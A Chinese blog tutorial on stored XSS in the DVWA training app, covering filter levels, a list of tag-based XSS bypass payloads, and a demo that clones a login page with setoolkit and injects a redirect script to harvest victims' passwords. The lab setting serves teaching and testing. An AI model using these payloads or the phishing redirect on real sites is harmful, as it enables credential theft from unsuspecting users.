dvwa_xss_储存型

一.xss储存型概念

黑客发现个人信息或发表文章,等,处存在xss漏洞(并且是储存在数据库中),可以直接插入js代码。

比如在登陆处写下,下图中的代码,发现弹出了我们写的js代码,则说明存在xss储存型漏洞,并且是储存到数据库中的

当发现以后,我们就可以利用该漏洞,写入恶意js代码,当用户点击时,就会盗取用户信息等。
在这里插入图片描述
在这里插入图片描述

二.储存型图片演示

1.黑客将js脚本注入到存在储存型xss的位置
2.受害者登陆网站,点击js注入的位置
3.黑客获取cookie,得到登陆权限

在这里插入图片描述

三.代码分析

dvwa中的xss漏洞分为四个等级,我们来分析四个等级的源码。(这里借用一下大佬的图片,因为赶时间,所以偷两张图。)

可以看到初级就过滤了数据库特殊字符,没做其他任何处理,
导致很容易触发xss
在这里插入图片描述
可以看到mssage变量过滤了mysql中的符号,HTML实体化
那么过滤掉mysql中的符号。
可以看到还是过滤不全面。
正规的过滤应该是用户输入的变量都进行多重过滤,否则容易触发xss

在这里插入图片描述
可以看到name中过滤掉script相关信息
而mssage中依然没有做过严谨的过滤
虽然过滤掉了script标签但是我们可以使用其他标签
如:

<svg οnlοad="alert(1)">
<img src=1 Onerror=alert("xss")>
<body Onload=alert(1)>
<body Onpageshow=alert(1)>
<video Onloadstart=alert(1)> src="/media/hack-the-planet.mp4"/>
<style Onload=alert(1)></style>

在这里插入图片描述

最后看看安全级别
可以看到都使用了多重过滤
并且两个用户输入的变量都被HTML实体化,这种过滤基本就无法xss

在这里插入图片描述

四.dvwa_储存型_演练

这里我们以低级的演示
在输入框注入js代码
在这里插入图片描述

发现弹出js,
因此,存在js注入,此时我们就可以结合setoolkit社工弹窗,盗取账户密码

在这里插入图片描述
我们先在kali中制作一个钓鱼网站
打开setoolkit

在这里插入图片描述
输入1,
在这里插入图片描述

输入2,
在这里插入图片描述
输入3
在这里插入图片描述
输入2,克隆网站

在这里插入图片描述
这里不填,回车,自动生成网卡的ip
在这里插入图片描述
选择克隆的网站,输入我们要克隆的网站
在这里插入图片描述

可以看到已经克隆成功,当用户输入密码时这里就会回显

在这里插入图片描述

好,我们回到这里来
尝试输入恶意js代码,发现限制了长度

在这里插入图片描述
按f12选到攻击的位置
在这里插入图片描述
修改输入长度为1000(都可以只要够写就行)

在这里插入图片描述
写一个重定向代码,当用户点击这个功能时,就会被重定向到我们钓鱼页面
window.location="http://xxxxxxxx"

在这里插入图片描述

现在假如别人登录了网站
点击了这个网站的这个按钮

在这里插入图片描述
他就会跳转到自己网页(钓鱼页面)的登陆页面,

在这里插入图片描述
如果他输入密码
在这里插入图片描述

我们刚刚这钓鱼页面就收到账户密码
在这里插入图片描述

五.总结

1.如果发现script标签被过滤,就尝试其他标签
2.一般结构csrf漏洞同时利用会触发更可怕的漏洞利用
3.储存型xss和反射型最大的区别就是,储存型储存在数据库中,永久有效,只要访问了网站的人都有可能触发xss攻击。
反射型只能一时的有效,比如反射型常见手段,恶意链接让别人点击,盗取cookie

发布了15 篇原创文章 · 获赞 2 · 访问量 2422

猜你喜欢

转载自blog.csdn.net/weixin_44110913/article/details/103567942